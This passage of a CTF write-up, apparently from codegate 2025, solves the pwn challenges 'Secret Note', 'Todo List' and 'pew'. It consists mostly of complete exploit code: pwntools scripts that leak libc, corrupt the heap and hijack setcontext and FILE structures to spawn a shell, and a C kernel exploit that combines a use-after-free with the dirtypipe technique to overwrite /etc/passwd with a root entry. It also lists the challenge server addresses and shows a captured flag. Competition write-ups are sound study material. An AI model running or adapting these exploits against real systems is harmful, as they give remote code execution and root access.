print(f"{sim.item():.6f}", f"{brightness_loss.item():.6f}", f"{m.item():.6f}")
optimizer.zero_grad()
loss.backward()
optimizer.step()
with torch.no_grad():
image.clamp_(0, 255)
# Apply a circular mask to round the image
diff = (image - image.floor()).detach() # [0,1)
# sample 0,1 with probability of diff
mask = (torch.rand(image.shape, device="cuda") < diff).float()
image.data = image.floor() + mask
image_np = image.detach().cpu().numpy().astype(np.uint8)
image_np = np.transpose(image_np, (1, 2, 0))
image_pil = Image.fromarray(image_np)
image_pil.save("best.png")
```
## Pwn
### Secret Note
The bug is in create function, where it wrongly exits when key/size is invalid.
Using this bug:
1. By failing the size check, we can create a chunk where chunk->buf_size is larger than chunk->buffer, which lead to the heap overflow.
2. By failing the key check, We can create a chunk where chunk->buf is uninitialized, and hence leaving a pointer to a libc address.
The summary of the exploit below is:
- spam create some chunks
- free them such that it has uninitialized libc pointer inside
- Use point [2] above to get a chunk with buf and size pointing into libc
- Brute force the key, the key and size will leak libc address and base
- Use point [1] to OOB write the chunk->buf to point to target address
- Achieve arbitrary write
- Use the setcontext32 technique
```py=
from pwn import *
import IPython
import time
import os
# disable aslr
# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# os.system("echo 0 | sudo tee /proc/sys/kernel/randomize_va_space")
# enable aslr
os.system("echo 2 | sudo tee /proc/sys/kernel/randomize_va_space")
local_bin = "./prob_patched"
# local_bin = "./prob"
elf = ELF(local_bin)
rop = ROP(elf)
libc = ELF("libc.so.6")
# context.log_level = 'debug'
p = process(local_bin)
# p = remote("3.38.43.123", 13378) # server 1
# p = remote("3.38.215.165", 13378) # server 2
def kill_gdb():
try:
# Find the process with the command line matching GDB
result = subprocess.run(
["pgrep", "-f", "/usr/bin/gdb.*"],
stdout=subprocess.PIPE,
text=True
)
gdb_pids = result.stdout.strip().split('\n')
if gdb_pids:
for pid in gdb_pids:
os.kill(int(pid), signal.SIGKILL)
print(f"[+] Killed GDB process: PID {pid}")
else:
print("[-] No GDB process found.")
except Exception as e:
print(f"[-] Error killing GDB: {e}")
# Handle Ctrl+C gracefully
def signal_handler(sig, frame):
print("\n[+] Terminating GDB...")
p.terminate() # Kill the GDB process
kill_gdb()
exit(0)
# signal.signal(signal.SIGINT, signal_handler)
def sla(receive,reply):
p.sendlineafter(receive,reply,timeout=3)
def sa(receive,reply):
p.sendafter(receive,reply,timeout=3)
def create(idx, key, size, data):
sla(b'3. delete', b'1')
sla(b'Index', str(idx))
sla(b'Key', str(key))
sla(b'Size', str(size))
sla(b'Data', data)
def create_invalid_key(idx, key):
sla(b'3. delete', b'1')
sla(b'Index', str(idx))
sla(b'Key', str(key))
def create_target(idx, key, size):
sla(b'3. delete', b'1')
sla(b'Index', str(idx))
sla(b'Key', str(key))
sla(b'Size', str(size))
def edit(idx, key, data):
sla(b'3. delete', b'2')
sla(b'Index', str(idx))
sla(b'Key', str(key))
sla(b'Data', data)
def edit_brute(idx, key):
sla(b'3. delete', b'2')
sla(b'Index', str(idx))
sla(b'Key', str(key))
test = p.recvline(timeout=3)
if (b'Data' in test):
print("Brute succeeded")
p.sendline(b'')
return [True, test]
elif (b'Error' in test):
print(f"Brute failed {hex(key)}")
return [False, test]
else:
return [True, test]
def delete(idx, key):
sla(b'3. delete', b'3')
sla(b'Index', str(idx))
sla(b'Key', str(key))
create(0, 0, 8, b'AAAAA')
create_target(0, 0, 0x20000)
for i in range(0, 8):
create(1+i, 0, 0x88, b'AAAAA')
print(f"Created {i+1}")
create(9, 0, 0x88, b'AAAAA') # prevent merging?
for i in range(0, 8):
delete(1+i, 0)
print(f"Deleted {i+1}")
for i in range(0, 8):
create_invalid_key(1+i, -1)
print(f"Created {i+1}")
# create_invalid_key(9, -1)
create(10, 0, 0x8, b'AAAAA')
create_invalid_key(11, -1) # this has uninitialzied pointers
# brute force byte (and leak libc)
key = 0x7000
libc_upper = -1
libc_lower = -1
key_upper = 0x7FFF
for i in range(key, key_upper):
result, test = edit_brute(11, i)
if (result == True):
libc_upper = i
if (test == b''):
print("Special case")
test = p.recv()
p.sendline(b'')
libc_lower = test
break
print(f"Found key: {hex(libc_upper)}")
print(f"libc_upper: {hex(libc_upper)}")
import re
match = re.search(r"\((-?\d+)\)", libc_lower.decode()) # Allow both positive and negative numbers
if match:
libc_lower = match.group(1)
print(libc_lower)
else:
print("Exiting now!!!")
hex_value = f"{int(libc_lower) & 0xFFFFFFFFFFFFFFFF:016X}"
libc_lower = int(hex_value, 0x10) & 0xFFFFFFFF
print(f"libc_lower: {hex(libc_lower)}")
libc_leak = (libc_upper << 32) + libc_lower
print(f"libc_leak: {hex(libc_leak)}")
libc_base = libc_leak - (0x7d9379419ce0-0x7d9379200000)
libc.address = libc_base
print(f"libc.address: {hex(libc.address)}")
# now oob write from 10
create_target(10, 0, 0x20000)
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
dest, payload2 = setcontext32(
libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
)
target_write = dest
payload = b""
payload += p64(0x4141414141414141)
payload += p64(0x4141414141414142)
payload += p64(0)
payload += p64(0x21)
payload += p64(target_write)
payload += p64(0x1000) # overwrite key and shit
payload += p64(libc_leak) # try not to corrupt too much lol
payload += p64(libc_leak)
edit(10, 0, payload)
edit(11, 0, payload2)
context.log_level = 'debug'
# IPython.embed()
p.sendline(b"ls")
p.sendline(b"cat flag*")
p.interactive()
```
### Todo List
2 solutions
```py=
#!/usr/bin/env python3
from pwn import *
# =========================================================
# SETUP
# =========================================================
exe = './prob_patched'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'debug'
context.terminal = "kitten @ launch --location=before --cwd=current --bias=65".split()
context.encoding = "ascii"
host, port = '43.203.168.199', 13379
def initialize(argv=[]):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript)
elif args.REMOTE:
return remote(host, port)
else:
return process([exe] + argv)
gdbscript = '''
# load's return
breakrva 0x215b
# edit's return
breakrva 0x1974
'''.format(**locals())
# =========================================================
# EXPLOITS
# =========================================================
complete_no = 0
def create(idx, title, desc):
io.sendlineafter(b'>', b'1')
io.sendlineafter(b':', str(idx).encode())
io.sendafter(b':', title)
io.sendafter(b':', desc)
def edit(idx, desc):
io.sendlineafter(b'>', b'2')
io.sendlineafter(b':', str(idx).encode())
io.sendafter(b'Desc :', desc)
def read(idx):
io.sendlineafter(b'>', b'3')
io.sendlineafter(b':', str(idx).encode())
def complete(idx):
global complete_no
no = complete_no
complete_no += 1
io.sendlineafter(b'>', b'4')
io.sendlineafter(b':', str(idx).encode())
log.info("complete %d", no)
return no
def load(no, idx):
io.sendlineafter(b'>', b'5')
io.sendlineafter(b':', str(no).encode())
io.sendlineafter(b':', str(idx).encode())
def delete(idx):
io.sendlineafter(b'>', b'6')
io.sendlineafter(b':', str(idx).encode())
def demangle(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
def stdout_RCE_payload():
stdout = libc.sym['_IO_2_1_stdout_']
wfile_jumps = libc.sym['_IO_wfile_jumps']
fake_file = FileStructure(0)
fake_file.flags = u64(b' sh\x00\x00\x00\x00')
fake_file._IO_write_ptr = 1
fake_file._wide_data = stdout - 0x10
fake_file._lock = stdout + 0x10
fake_file.chain = libc.sym['system']
fake_file.vtable = wfile_jumps
payload = bytes(fake_file)[:-0x10] + p64(stdout) + bytes(fake_file)[-0x8:]
return payload
def mangle(heap_addr, val):
return (heap_addr >> 12) ^ val
def exploit():
global io
io = initialize()
title = b'0||'+b'A'*(0xf-3)
create(0, title, cyclic(10) + p64(0x441))
unsorted_size = complete(0)
create(1, b'0', b'0')
create(3, b'0', b'0')
create(6, b'0', b'0')
create(7, b'0', b'0')
for _ in range(40-1):
create(2, b'0', b'0')
load(unsorted_size, 0)
delete(1)
delete(0)
create(2, title, cyclic(10))
read(3)
io.recvuntil(b'Desc : ')
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x203b20
stdout = libc.sym['_IO_2_1_stdout_']
stdin = libc.sym['_IO_2_1_stdin_']
create(4, b'0', b'0')
create(1, b'0', b'0')
create(5, b'0', b'0')
delete(3)
read(4)
io.recvuntil(b'Desc : ')
heap = demangle(u64(io.recv(6).ljust(8, b'\x00'))) - 0x2c0
# clear bins
for _ in range(40-1):
create(2, b'0', b'0')
create(2, b'asd', b'asd')
consume_tcache = complete(2)
load(consume_tcache, 2)
load(consume_tcache, 2)
load(consume_tcache, 2)
# at this point, duplicate ptrs
# 3 -> 4 (used)
# 6 -> 1
# 7 -> 5
create(0, b'asd', b'asd')
delete(0)
delete(6)
edit(1, p64(mangle(heap, stdout)))
create(0, b'asd', b'\x00')
stdout1 = complete(0)
load(stdout1, 0)
load(stdout1, 0)
load(stdout1, 0)
edit(0, flat([
0xFBAD1800,
0x0,
0x0
]))
create(0, b'asd', b'asd')
delete(0)
delete(7)
# edit(5, p64(mangle(heap, stdin+0x20)))
# try to ow _IO_buf_base
edit(5, p64(mangle(heap, stdin+0x30)))
create(0, b'asd', b'\x00')
stdout2 = complete(0)
load(stdout2, 0)
load(stdout2, 0)
load(stdout2, 0)
# edit(0, flat([
# libc.sym['environ'],
# libc.sym['environ']+0x10,
# libc.sym['environ']+0x10
# ]))
pause()
edit(0, flat([
stdout,
stdout,
stdout + 0x300,
]))
io.sendline(stdout_RCE_payload())
pause()
io.interactive()
if __name__ == '__main__':
exploit()
```
Another teammate:
```py=
#!/usr/bin/env python3
from pwn import *
# =========================================================
# SETUP
# =========================================================
exe = './prob_patched'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = '43.203.168.199', 13379
def initialize(argv=[]):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript)
elif args.REMOTE:
return remote(host, port)
else:
return process([exe] + argv)
gdbscript = '''
init-pwndbg
# load's return
# breakrva 0x215b
# edit's return
# breakrva 0x1974
'''.format(**locals())
# =========================================================
# EXPLOITS
# =========================================================
complete_no = 0
def create(idx, title, desc):
io.sendlineafter(b'>', b'1')
io.sendlineafter(b':', str(idx).encode())
io.sendafter(b':', title)
io.sendafter(b':', desc)
def edit(idx, desc):
io.sendlineafter(b'>', b'2')
io.sendlineafter(b':', str(idx).encode())
io.sendafter(b'Desc :', desc)
def read(idx):
io.sendlineafter(b'>', b'3')
io.sendlineafter(b':', str(idx).encode())
def complete(idx):
global complete_no
no = complete_no
complete_no += 1
io.sendlineafter(b'>', b'4')
io.sendlineafter(b':', str(idx).encode())
log.info("complete %d", no)
return no
def load(no, idx):
io.sendlineafter(b'>', b'5')
io.sendlineafter(b':', str(no).encode())
io.sendlineafter(b':', str(idx).encode())
def delete(idx):
io.sendlineafter(b'>', b'6')
io.sendlineafter(b':', str(idx).encode())
def demangle(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
def mangle(heap_addr, val):
return (heap_addr >> 12) ^ val
def exploit():
global io
io = initialize()
title = b'0||'+b'A'*(0xf-3)
create(0, title, cyclic(10) + p64(0x441))
unsorted_size = complete(0)
create(1, b'0', b'0')
create(3, b'0', b'0')
create(6, b'0', b'0')
create(7, b'0', b'0')
for _ in range(40-1):
create(2, b'0', b'0')
load(unsorted_size, 0)
delete(1)
delete(0)
create(2, title, cyclic(10))
read(3)
io.recvuntil(b'Desc : ')
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x203b20
stdout = libc.sym['_IO_2_1_stdout_']
stdin = libc.sym['_IO_2_1_stdin_']
create(4, b'0', b'0')
create(1, b'0', b'0')
create(5, b'0', b'0')
delete(3)
read(4)
io.recvuntil(b'Desc : ')
heap = demangle(u64(io.recv(6).ljust(8, b'\x00'))) - 0x2c0
# clear bins
for _ in range(40-1):
create(2, b'0', b'0')
create(2, b'asd', b'asd')
consume_tcache = complete(2)
load(consume_tcache, 2)
load(consume_tcache, 2)
load(consume_tcache, 2)
# at this point, duplicate ptrs
# 3 -> 4 (used)
# 6 -> 1
# 7 -> 5
create(0, b'asd', b'asd')
delete(0)
delete(6)
edit(1, p64(mangle(heap, stdin+0x30)))
create(0, b'asd', b'\x00')
arb_write = complete(0)
load(arb_write, 0)
load(arb_write, 0)
load(arb_write, 0)
edit(0, flat([
stdout,
stdout,
stdout+0x300,
]))
fp = stdout
# crafting overlapping IO_FILE, wide_data and wide_vtable
overlap = b' sh\x00\x00\x00\x00' # [FILE] _flags | [WIDE DATA] read_ptr
overlap += flat([
p64(0x0), # [WIDE DATA] read_end
p64(0x0), # [WIDE DATA] read_base
p64(0x0), # [WIDE DATA] write_base
p64(0x0), # [WIDE DATA] write_ptr
p64(0x0), # [WIDE DATA] write_end
p64(0x0), # [WIDE DATA] buf_base
p64(0x0), # [WIDE DATA] buf_end
p64(0x0), # [WIDE DATA] save_base
p64(0x0), # [WIDE DATA] backup_base
p64(0x0), # [WIDE DATA] save_end
])
overlap += b'\x00' * 8 # [WIDE DATA] state
overlap += b'\x00' * 8 # [WIDE DATA] last_state
codecvt = b''
codecvt += p64(libc.sym['system']) # [FILE] _chain | [WIDE DATA] codecvt | [VTABLE] __doallocate (at function authenticate, skips the puts because we overwrote stdout)
codecvt += b'\x00' * 0x18 # padding
codecvt += p64(fp - 0x10) # [FILE] _lock
codecvt += p64(0x0) * 2 # padding
codecvt += p64(fp+0x8) # [FILE] _wide_data
codecvt += b'\x00' * (0x18 + 4 + 20) # padding
codecvt += p64(libc.sym['_IO_wfile_jumps']) # [FILE] vtable
codecvt += b'\x00' * (0x70 - len(codecvt)) # padding
overlap += codecvt
overlap += p64(0x0) # [WIDE DATA] wchar_t shortbuf[1] (alligned to 8 bytes)
overlap += p64(fp) # [WIDE DATA] vtable
io.sendline(overlap)
sleep(1)
io.sendline(b'cat ../flag')
log.info("heap: %#x", heap)
log.info("libc base: %#x", libc.address)
io.interactive()
if __name__ == '__main__':
exploit()
```
### pew
The bug is in pew_release, where it forget to null away the buffer after freeing. Hence we have UAF on the buffer which is allocated with size 0x1000.
The idea is to spray pipe_buffers, modify the flags to use the dirtypipe technique to overwrite /etc/passwd.
```c=
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sched.h>
#include <errno.h>
#include <inttypes.h>
#include <pthread.h>
int main() {
int fd[2]; // File descriptors for the pipe
pid_t pid;
char message[] = "Hello, world!\n";
char buffer[100];
int res;
int target_fd;
int target_fd2;
target_fd = open("/dev/pew", O_RDWR);
target_fd2 = open("/dev/pew", O_RDWR);
#define NR_PIPES 0x20
int pipefds[NR_PIPES][2];
for (int i = 0; i < NR_PIPES; i++) {
res = (pipe(pipefds[i]));
if (res < 0){
printf("Error!\n");
}
}
printf("[+] Enter to free buffer\n");
// getchar();
close(target_fd); // this will free
printf("[+] Enter to occupy buffer\n");
// getchar();
for (int i = 0; i < NR_PIPES; i++) {
res = fcntl(pipefds[i][1], F_SETPIPE_SZ, 0x1000 * 50);
if (res < 0){
printf("Error!\n");
}
}
printf("[+] Enter to write buffer?\n");
// getchar();
for (int i = 0; i < NR_PIPES; i++) {
write(pipefds[i][1], "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 128);
}
printf("[+] Sleeping\n");
int secrets_fd = open("/etc/passwd", O_RDONLY);
struct stat stbuf;
int secret_size = stat("/etc/passwd", &stbuf); /* 2 syscalls */
for (int i = 0; i < NR_PIPES; i++) {
loff_t offset = 0;
res = splice(secrets_fd, &offset, pipefds[i][1], NULL, 1, 0);
if (res < 0){
printf("Error splice\n");
}
}
// now corrupt pipe with ioctl
int target_offset = (0x28 + 0x18);
int target_val = 0x10;
printf("[+] now corrupt pipe with ioctl @offset %d\n", target_offset);
ioctl(target_fd2, 0x1002, target_val);
ioctl(target_fd2, 0x1001, target_offset);
ioctl(target_fd2, 0x1003, &target_offset);
getchar();
// this writes into /etc/passwd
// write(pipefds[0][1], "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", 40);
char catcatcat[] = "root:$1$KHAVTUKO$GU3BysPeNf8W7hDrzo0bu/:0:0:root:/root:/bin/sh\nuser:x:1000:1000:Linux User,,,:/home/user:/bin/sh";
for (int i = 0; i < NR_PIPES; i++) {
write(pipefds[0][1], catcatcat, sizeof(catcatcat));
}
printf("Sleeping\n");
while(1){sleep(1);}
return 0;
}
```
```
c[DEBUG] Received 0x53 bytes:
00000000 61 74 20 2f 66 6c 61 67 0d 0a 63 6f 64 65 67 61 │at /│flag│··co│dega│
00000010 74 65 32 30 32 35 7b 21 6e 54 33 6e 44 33 64 5f │te20│25{!│nT3n│D3d_│
00000020 73 30 4c 75 74 21 30 4e 5f 57 40 73 5f 50 34 67 │s0Lu│t!0N│_W@s│_P4g│
00000030 45 5f 75 40 46 5f 59 30 55 72 53 5f 54 30 6f 3f │E_u@│F_Y0│UrS_│T0o?│
00000040 7d 0d 0a 2f 68 6f 6d 65 2f 63 74 66 20 23 20 1b │}··/│home│/ctf│ # ·│
00000050 5b 36 6e │[6n│
```